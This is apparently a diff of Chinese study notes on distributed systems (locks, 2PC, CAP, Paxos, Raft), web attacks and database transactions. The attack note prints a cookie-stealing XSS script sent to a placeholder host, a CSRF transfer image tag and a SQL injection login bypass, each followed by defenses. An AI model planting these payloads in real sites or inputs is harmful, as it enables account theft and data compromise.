* [执行过程](#执行过程)
|
||||
* [约束条件](#约束条件)
|
||||
* [六、Raft](#六raft)
|
||||
* [单个 Candidate 的竞选](#单个-candidate-的竞选)
|
||||
* [多个 Candidate 竞选](#多个-candidate-竞选)
|
||||
* [数据同步](#数据同步)
|
||||
* [参考](#参考)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、分布式锁
|
||||
|
||||
在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。
|
||||
|
||||
阻塞锁通常使用互斥量来实现:
|
||||
|
||||
- 互斥量为 0 表示有其它进程在使用锁,此时处于锁定状态;
|
||||
- 互斥量为 1 表示未锁定状态。
|
||||
|
||||
1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。
|
||||
|
||||
## 数据库的唯一索引
|
||||
|
||||
获得锁时向表中插入一条记录,释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次,那么就可以用这个记录是否存在来判断是否存于锁定状态。
|
||||
|
||||
存在以下几个问题:
|
||||
|
||||
- 锁没有失效时间,解锁失败的话其它进程无法再获得该锁。
|
||||
- 只能是非阻塞锁,插入失败直接就报错了,无法重试。
|
||||
- 不可重入,已经获得锁的进程也必须重新获取锁。
|
||||
|
||||
## Redis 的 SETNX 指令
|
||||
|
||||
使用 SETNX(set if not exist)指令插入一个键值对,如果 Key 已经存在,那么会返回 False,否则插入成功并返回 True。
|
||||
|
||||
SETNX 指令和数据库的唯一索引类似,保证了只存在一个 Key 的键值对,那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
|
||||
|
||||
EXPIRE 指令可以为一个键值对设置一个过期时间,从而避免了数据库唯一索引实现方式中释放锁失败的问题。
|
||||
|
||||
## Redis 的 RedLock 算法
|
||||
|
||||
使用了多个 Redis 实例来实现分布式锁,这是为了保证在发生单点故障时仍然可用。
|
||||
|
||||
- 尝试从 N 个相互独立 Redis 实例获取锁;
|
||||
- 计算获取锁消耗的时间,只有当这个时间小于锁的过期时间,并且从大多数(N / 2 + 1)实例上获取了锁,那么就认为锁获取成功了;
|
||||
- 如果锁获取失败,就到每个实例上释放锁。
|
||||
|
||||
## Zookeeper 的有序节点
|
||||
|
||||
### 1. Zookeeper 抽象模型
|
||||
|
||||
Zookeeper 提供了一种树形结构级的命名空间,/app1/p_1 节点的父节点为 /app1。
|
||||
|
||||
<div align="center"> <img src="../pics//31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
|
||||
|
||||
### 2. 节点类型
|
||||
|
||||
- 永久节点:不会因为会话结束或者超时而消失;
|
||||
- 临时节点:如果会话结束或者超时就会消失;
|
||||
- 有序节点:会在节点名的后面加一个数字后缀,并且是有序的,例如生成的有序节点为 /lock/node-0000000000,它的下一个有序节点则为 /lock/node-0000000001,以此类推。
|
||||
|
||||
### 3. 监听器
|
||||
|
||||
为一个节点注册监听器,在节点状态发生改变时,会给客户端发送消息。
|
||||
|
||||
### 4. 分布式锁实现
|
||||
|
||||
- 创建一个锁目录 /lock;
|
||||
- 当一个客户端需要获取锁时,在 /lock 下创建临时的且有序的子节点;
|
||||
- 客户端获取 /lock 下的子节点列表,判断自己创建的子节点是否为当前子节点列表中序号最小的子节点,如果是则认为获得锁;否则监听自己的前一个子节点,获得子节点的变更通知后重复此步骤直至获得锁;
|
||||
- 执行业务代码,完成后,删除对应的子节点。
|
||||
|
||||
### 5. 会话超时
|
||||
|
||||
如果一个已经获得锁的会话超时了,因为创建的是临时节点,所以该会话对应的临时节点会被删除,其它会话就可以获得锁了。可以看到,Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
|
||||
|
||||
### 6. 羊群效应
|
||||
|
||||
一个节点未获得锁,只需要监听自己的前一个子节点,这是因为如果监听所有的子节点,那么任意一个子节点状态改变,其它所有子节点都会收到通知(羊群效应),而我们只希望它的后一个子节点收到通知。
|
||||
|
||||
# 二、分布式事务
|
||||
|
||||
指事务的操作位于不同的节点上,需要保证事务的 ACID 特性。
|
||||
|
||||
例如在下单场景下,库存和订单如果不在同一个节点上,就涉及分布式事务。
|
||||
|
||||
## 本地消息表
|
||||
|
||||
本地消息表与业务数据表处于同一个数据库中,这样就能利用本地事务来保证在对这两个表的操作满足事务特性,并且使用了消息队列来保证最终一致性。
|
||||
|
||||
1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息,本地事务能保证这个消息一定会被写入本地消息表中。
|
||||
2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中,如果转发成功则将消息从本地消息表中删除,否则继续重新转发。
|
||||
3. 在分布式事务操作的另一方从消息队列中读取一个消息,并执行消息中的操作。
|
||||
|
||||
<div align="center"> <img src="../pics//e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
|
||||
|
||||
## 2PC
|
||||
|
||||
两阶段提交(Two-phase Commit,2PC),通过引入协调者(Coordinator)来协调参与者的行为,并最终决定这些参与者是否要真正执行事务。
|
||||
|
||||
### 1. 运行过程
|
||||
|
||||
#### 1.1 准备阶段
|
||||
|
||||
协调者询问参与者事务是否执行成功,参与者发回事务执行结果。
|
||||
|
||||
<div align="center"> <img src="../pics//04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
|
||||
|
||||
#### 1.2 提交阶段
|
||||
|
||||
如果事务在每个参与者上都执行成功,事务协调者发送通知让参与者提交事务;否则,协调者发送通知让参与者回滚事务。
|
||||
|
||||
需要注意的是,在准备阶段,参与者执行了事务,但是还未提交。只有在提交阶段接收到协调者发来的通知后,才进行提交或者回滚。
|
||||
|
||||
<div align="center"> <img src="../pics//2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
|
||||
|
||||
### 2. 存在的问题
|
||||
|
||||
#### 2.1 同步阻塞
|
||||
|
||||
所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态,无法进行其它操作。
|
||||
|
||||
#### 2.2 单点问题
|
||||
|
||||
协调者在 2PC 中起到非常大的作用,发生故障将会造成很大影响。特别是在阶段二发生故障,所有参与者会一直等待,无法完成其它操作。
|
||||
|
||||
#### 2.3 数据不一致
|
||||
|
||||
在阶段二,如果协调者只发送了部分 Commit 消息,此时网络发生异常,那么只有部分参与者接收到 Commit 消息,也就是说只有部分参与者提交了事务,使得系统数据不一致。
|
||||
|
||||
#### 2.4 太过保守
|
||||
|
||||
任意一个节点失败就会导致整个事务失败,没有完善的容错机制。
|
||||
|
||||
# 三、CAP
|
||||
|
||||
分布式系统不可能同时满足一致性(C:Consistency)、可用性(A:Availability)和分区容忍性(P:Partition Tolerance),最多只能同时满足其中两项。
|
||||
|
||||
<div align="center"> <img src="../pics//f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
|
||||
|
||||
## 一致性
|
||||
|
||||
一致性指的是多个数据副本是否能保持一致的特性,在一致性的条件下,系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
|
||||
|
||||
对系统的一个数据更新成功之后,如果所有用户都能够读取到最新的值,该系统就被认为具有强一致性。
|
||||
|
||||
## 可用性
|
||||
|
||||
可用性指分布式系统在面对各种异常时可以提供正常服务的能力,可以用系统可用时间占总时间的比值来衡量,4 个 9 的可用性表示系统 99.99% 的时间是可用的。
|
||||
|
||||
在可用性条件下,要求系统提供的服务一直处于可用的状态,对于用户的每一个操作请求总是能够在有限的时间内返回结果。
|
||||
|
||||
## 分区容忍性
|
||||
|
||||
网络分区指分布式系统中的节点被划分为多个区域,每个区域内部可以通信,但是区域之间无法通信。
|
||||
|
||||
在分区容忍性条件下,分布式系统在遇到任何网络分区故障的时候,仍然需要能对外提供一致性和可用性的服务,除非是整个网络环境都发生了故障。
|
||||
|
||||
## 权衡
|
||||
|
||||
在分布式系统中,分区容忍性必不可少,因为需要总是假设网络是不可靠的。因此,CAP 理论实际上是要在可用性和一致性之间做权衡。
|
||||
|
||||
可用性和一致性往往是冲突的,很难使它们同时满足。在多个节点之间进行数据同步时,
|
||||
|
||||
- 为了保证一致性(CP),不能访问未同步完成的节点,也就失去了部分可用性;
|
||||
- 为了保证可用性(AP),允许读取所有节点的数据,但是数据可能不一致。
|
||||
|
||||
<div align="center"> <img src="../pics//0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
|
||||
|
||||
# 四、BASE
|
||||
|
||||
BASE 是基本可用(Basically Available)、软状态(Soft State)和最终一致性(Eventually Consistent)三个短语的缩写。
|
||||
|
||||
BASE 理论是对 CAP 中一致性和可用性权衡的结果,它的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
|
||||
|
||||
<div align="center"> <img src="../pics//bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
|
||||
|
||||
## 基本可用
|
||||
|
||||
指分布式系统在出现故障的时候,保证核心可用,允许损失部分可用性。
|
||||
|
||||
例如,电商在做促销时,为了保证购物系统的稳定性,部分消费者可能会被引导到一个降级的页面。
|
||||
|
||||
## 软状态
|
||||
|
||||
指允许系统中的数据存在中间状态,并认为该中间状态不会影响系统整体可用性,即允许系统不同节点的数据副本之间进行同步的过程存在时延。
|
||||
|
||||
## 最终一致性
|
||||
|
||||
最终一致性强调的是系统中所有的数据副本,在经过一段时间的同步后,最终能达到一致的状态。
|
||||
|
||||
ACID 要求强一致性,通常运用在传统的数据库系统上。而 BASE 要求最终一致性,通过牺牲强一致性来达到可用性,通常运用在大型分布式系统中。
|
||||
|
||||
在实际的分布式场景中,不同业务单元和组件对一致性的要求是不同的,因此 ACID 和 BASE 往往会结合在一起使用。
|
||||
|
||||
# 五、Paxos
|
||||
|
||||
用于达成共识性问题,即对多个节点产生的值,该算法能保证只选出唯一一个值。
|
||||
|
||||
主要有三类节点:
|
||||
|
||||
- 提议者(Proposer):提议一个值;
|
||||
- 接受者(Acceptor):对每个提议进行投票;
|
||||
- 告知者(Learner):被告知投票的结果,不参与投票过程。
|
||||
|
||||
<div align="center"> <img src="../pics//b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
|
||||
|
||||
## 执行过程
|
||||
|
||||
规定一个提议包含两个字段:[n, v],其中 n 为序号(具有唯一性),v 为提议值。
|
||||
|
||||
### 1. Prepare 阶段
|
||||
|
||||
下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程,每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
|
||||
|
||||
<div align="center"> <img src="../pics//1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
|
||||
|
||||
当 Acceptor 接收到一个 Prepare 请求,包含的提议为 [n1, v1],并且之前还未接收过 Prepare 请求,那么发送一个 Prepare 响应,设置当前接收到的提议为 [n1, v1],并且保证以后不会再接受序号小于 n1 的提议。
|
||||
|
||||
如下图,Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时,由于之前没有接收过提议,因此就发送一个 [no previous] 的 Prepare 响应,设置当前接收到的提议为 [n=2, v=8],并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
|
||||
|
||||
<div align="center"> <img src="../pics//fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
|
||||
|
||||
如果 Acceptor 接收到一个 Prepare 请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2,那么就丢弃该提议请求;否则,发送 Prepare 响应,该 Prepare 响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
|
||||
|
||||
如下图,Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2,因此就抛弃该提议请求;Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4,因此就发送 [n=2, v=8] 的 Prepare 响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
|
||||
|
||||
<div align="center"> <img src="../pics//2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
|
||||
|
||||
### 2. Accept 阶段
|
||||
|
||||
当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时,就可以发送 Accept 请求。
|
||||
|
||||
Proposer A 接收到两个 Prepare 响应之后,就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
|
||||
|
||||
Proposer B 过后也收到了两个 Prepare 响应,因此也开始发送 Accept 请求。需要注意的是,Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值,也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
|
||||
|
||||
<div align="center"> <img src="../pics//9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
|
||||
|
||||
### 3. Learn 阶段
|
||||
|
||||
Acceptor 接收到 Accept 请求时,如果序号大于等于该 Acceptor 承诺的最小序号,那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议,那么该提议的提议值就被 Paxos 选择出来。
|
||||
|
||||
<div align="center"> <img src="../pics//bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
|
||||
|
||||
## 约束条件
|
||||
|
||||
### 1\. 正确性
|
||||
|
||||
指只有一个提议值会生效。
|
||||
|
||||
因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收,并且 Acceptor 不会接受两个不同的提议,因此可以保证正确性。
|
||||
|
||||
### 2\. 可终止性
|
||||
|
||||
指最后总会有一个提议生效。
|
||||
|
||||
Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢,因此能够保证可终止性。
|
||||
|
||||
# 六、Raft
|
||||
|
||||
Raft 也是分布式一致性协议,主要是用来竞选主节点。
|
||||
|
||||
## 单个 Candidate 的竞选
|
||||
|
||||
有三种节点:Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间,一般为 150ms\~300ms,如果在这个时间内没有收到 Leader 的心跳包,就会变成 Candidate,进入竞选阶段。
|
||||
|
||||
- 下图展示一个分布式系统的最初阶段,此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后,没收到 Leader 发来的心跳包,因此进入竞选阶段。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118015898.gif"/> </div><br>
|
||||
|
||||
- 此时 Node A 发送投票请求给其它所有节点。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118445538.gif"/> </div><br>
|
||||
|
||||
- 其它节点会对请求进行回复,如果超过一半的节点回复了,那么该 Candidate 就会变成 Leader。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118483039.gif"/> </div><br>
|
||||
|
||||
- 之后 Leader 会周期性地发送心跳包给 Follower,Follower 接收到心跳包,会重新开始计时。
|
||||
|
||||
<div align="center"> <img src="../pics//111521118640738.gif"/> </div><br>
|
||||
|
||||
## 多个 Candidate 竞选
|
||||
|
||||
- 如果有多个 Follower 成为 Candidate,并且所获得票数相同,那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票,需要重新开始投票。
|
||||
|
||||
<div align="center"> <img src="../pics//111521119203347.gif"/> </div><br>
|
||||
|
||||
- 由于每个节点设置的随机竞选超时时间不同,因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
|
||||
|
||||
<div align="center"> <img src="../pics//111521119368714.gif"/> </div><br>
|
||||
|
||||
## 数据同步
|
||||
|
||||
- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交,只是写入日志中。
|
||||
|
||||
<div align="center"> <img src="../pics//7.gif"/> </div><br>
|
||||
|
||||
- Leader 会把修改复制到所有 Follower。
|
||||
|
||||
<div align="center"> <img src="../pics//9.gif"/> </div><br>
|
||||
|
||||
- Leader 会等待大多数的 Follower 也进行了修改,然后才将修改提交。
|
||||
|
||||
<div align="center"> <img src="../pics//10.gif"/> </div><br>
|
||||
|
||||
- 此时 Leader 会通知的所有 Follower 让它们也提交修改,此时所有节点的值达成一致。
|
||||
|
||||
<div align="center"> <img src="../pics//11.gif"/> </div><br>
|
||||
|
||||
# 参考
|
||||
|
||||
- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
|
||||
- [Distributed locks with Redis](https://redis.io/topics/distlock)
|
||||
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
|
||||
- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
|
||||
- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
|
||||
- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
|
||||
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
|
||||
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
|
||||
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
|
||||
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
|
||||
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
|
||||
|
3040
docs/notes/剑指 offer 题解.md
Normal file
3040
docs/notes/剑指 offer 题解.md
Normal file
File diff suppressed because it is too large
Load Diff
193
docs/notes/攻击技术.md
Normal file
193
docs/notes/攻击技术.md
Normal file
@ -0,0 +1,193 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、跨站脚本攻击](#一跨站脚本攻击)
|
||||
* [二、跨站请求伪造](#二跨站请求伪造)
|
||||
* [三、SQL 注入攻击](#三sql-注入攻击)
|
||||
* [四、拒绝服务攻击](#四拒绝服务攻击)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、跨站脚本攻击
|
||||
|
||||
## 概念
|
||||
|
||||
跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。
|
||||
|
||||
## 攻击原理
|
||||
|
||||
例如有一个论坛网站,攻击者可以在上面发布以下内容:
|
||||
|
||||
```html
|
||||
<script>location.href="//domain.com/?c=" + document.cookie</script>
|
||||
```
|
||||
|
||||
之后该内容可能会被渲染成以下形式:
|
||||
|
||||
```html
|
||||
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
|
||||
```
|
||||
|
||||
另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
|
||||
|
||||
## 危害
|
||||
|
||||
- 窃取用户的 Cookie
|
||||
- 伪造虚假的输入表单骗取个人信息
|
||||
- 显示伪造的文章或者图片
|
||||
|
||||
## 防范手段
|
||||
|
||||
### 1. 设置 Cookie 为 HttpOnly
|
||||
|
||||
设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
|
||||
|
||||
### 2. 过滤特殊字符
|
||||
|
||||
例如将 `<` 转义为 `<`,将 `>` 转义为 `>`,从而避免 HTML 和 Jascript 代码的运行。
|
||||
|
||||
富文本编辑器允许用户输入 HTML 代码,就不能简单地将 `<` 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。
|
||||
|
||||
富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。
|
||||
|
||||
以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
|
||||
|
||||
```html
|
||||
<h1 id="title">XSS Demo</h1>
|
||||
|
||||
<p>123</p>
|
||||
|
||||
<form>
|
||||
<input type="text" name="q" value="test">
|
||||
</form>
|
||||
|
||||
<pre>hello</pre>
|
||||
|
||||
<script type="text/javascript">
|
||||
alert(/xss/);
|
||||
</script>
|
||||
```
|
||||
|
||||
```html
|
||||
<h1>XSS Demo</h1>
|
||||
|
||||
<p>123</p>
|
||||
|
||||
<form>
|
||||
<input type="text" name="q" value="test">
|
||||
</form>
|
||||
|
||||
<pre>hello</pre>
|
||||
|
||||
<script type="text/javascript">
|
||||
alert(/xss/);
|
||||
</script>
|
||||
```
|
||||
|
||||
> [XSS 过滤在线测试](http://jsxss.com/zh/try.html)
|
||||
|
||||
# 二、跨站请求伪造
|
||||
|
||||
## 概念
|
||||
|
||||
跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。
|
||||
|
||||
XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。
|
||||
|
||||
## 攻击原理
|
||||
|
||||
假如一家银行用以执行转账操作的 URL 地址如下:
|
||||
|
||||
```
|
||||
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
|
||||
```
|
||||
|
||||
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
|
||||
|
||||
```
|
||||
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
|
||||
```
|
||||
|
||||
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。
|
||||
|
||||
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
|
||||
|
||||
通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。
|
||||
|
||||
## 防范手段
|
||||
|
||||
### 1. 检查 Referer 首部字段
|
||||
|
||||
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。
|
||||
|
||||
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
|
||||
|
||||
### 2. 添加校验 Token
|
||||
|
||||
在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
|
||||
|
||||
### 3. 输入验证码
|
||||
|
||||
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。
|
||||
|
||||
# 三、SQL 注入攻击
|
||||
|
||||
## 概念
|
||||
|
||||
服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。
|
||||
|
||||
## 攻击原理
|
||||
|
||||
例如一个网站登录验证的 SQL 查询代码为:
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
|
||||
```
|
||||
|
||||
如果填入以下内容:
|
||||
|
||||
```sql
|
||||
userName = "1' OR '1'='1";
|
||||
passWord = "1' OR '1'='1";
|
||||
```
|
||||
|
||||
那么 SQL 查询字符串为:
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
|
||||
```
|
||||
|
||||
此时无需验证通过就能执行以下查询:
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users;"
|
||||
```
|
||||
|
||||
## 防范手段
|
||||
|
||||
### 1. 使用参数化查询
|
||||
|
||||
Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
|
||||
|
||||
```java
|
||||
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
|
||||
stmt.setString(1, userid);
|
||||
stmt.setString(2, password);
|
||||
ResultSet rs = stmt.executeQuery();
|
||||
```
|
||||
|
||||
### 2. 单引号转换
|
||||
|
||||
将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 可以完成这个功能。
|
||||
|
||||
# 四、拒绝服务攻击
|
||||
|
||||
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
|
||||
|
||||
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [维基百科:跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
|
||||
- [维基百科:SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
|
||||
- [维基百科:跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
|
||||
- [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
|
579
docs/notes/数据库系统原理.md
Normal file
579
docs/notes/数据库系统原理.md
Normal file
@ -0,0 +1,579 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、事务](#一事务)
|
||||
* [概念](#概念)
|
||||
* [ACID](#acid)
|
||||
* [AUTOCOMMIT](#autocommit)
|
||||
* [二、并发一致性问题](#二并发一致性问题)
|
||||
* [丢失修改](#丢失修改)
|
||||
* [读脏数据](#读脏数据)
|
||||
* [不可重复读](#不可重复读)
|
||||
* [幻影读](#幻影读)
|
||||
* [三、封锁](#三封锁)
|
||||
* [封锁粒度](#封锁粒度)
|
||||
* [封锁类型](#封锁类型)
|
||||
* [封锁协议](#封锁协议)
|
||||
* [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
|
||||
* [四、隔离级别](#四隔离级别)
|
||||
* [未提交读(READ UNCOMMITTED)](#未提交读read-uncommitted)
|
||||
* [提交读(READ COMMITTED)](#提交读read-committed)
|
||||
* [可重复读(REPEATABLE READ)](#可重复读repeatable-read)
|
||||
* [可串行化(SERIALIZABLE)](#可串行化serializable)
|
||||
* [五、多版本并发控制](#五多版本并发控制)
|
||||
* [版本号](#版本号)
|
||||
* [隐藏的列](#隐藏的列)
|
||||
* [Undo 日志](#undo-日志)
|
||||
* [实现过程](#实现过程)
|
||||
* [快照读与当前读](#快照读与当前读)
|
||||
* [六、Next-Key Locks](#六next-key-locks)
|
||||
* [Record Locks](#record-locks)
|
||||
* [Gap Locks](#gap-locks)
|
||||
* [Next-Key Locks](#next-key-locks)
|
||||
* [七、关系数据库设计理论](#七关系数据库设计理论)
|
||||
* [函数依赖](#函数依赖)
|
||||
* [异常](#异常)
|
||||
* [范式](#范式)
|
||||
* [八、ER 图](#八er-图)
|
||||
* [实体的三种联系](#实体的三种联系)
|
||||
* [表示出现多次的关系](#表示出现多次的关系)
|
||||
* [联系的多向性](#联系的多向性)
|
||||
* [表示子类](#表示子类)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、事务
|
||||
|
||||
## 概念
|
||||
|
||||
事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
|
||||
|
||||
<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png" width="400"/> </div><br>
|
||||
|
||||
## ACID
|
||||
|
||||
### 1. 原子性(Atomicity)
|
||||
|
||||
事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。
|
||||
|
||||
回滚可以用回滚日志来实现,回滚日志记录着事务所执行的修改操作,在回滚时反向执行这些修改操作即可。
|
||||
|
||||
### 2. 一致性(Consistency)
|
||||
|
||||
数据库在事务执行前后都保持一致性状态。在一致性状态下,所有事务对一个数据的读取结果都是相同的。
|
||||
|
||||
### 3. 隔离性(Isolation)
|
||||
|
||||
一个事务所做的修改在最终提交以前,对其它事务是不可见的。
|
||||
|
||||
### 4. 持久性(Durability)
|
||||
|
||||
一旦事务提交,则其所做的修改将会永远保存到数据库中。即使系统发生崩溃,事务执行的结果也不能丢失。
|
||||
|
||||
使用重做日志来保证持久性。
|
||||
|
||||
----
|
||||
|
||||
事务的 ACID 特性概念简单,但不是很好理解,主要是因为这几个特性不是一种平级关系:
|
||||
|
||||
- 只有满足一致性,事务的执行结果才是正确的。
|
||||
- 在无并发的情况下,事务串行执行,隔离性一定能够满足。此时只要能满足原子性,就一定能满足一致性。
|
||||
- 在并发的情况下,多个事务并行执行,事务不仅要满足原子性,还需要满足隔离性,才能满足一致性。
|
||||
- 事务满足持久化是为了能应对数据库崩溃的情况。
|
||||
|
||||
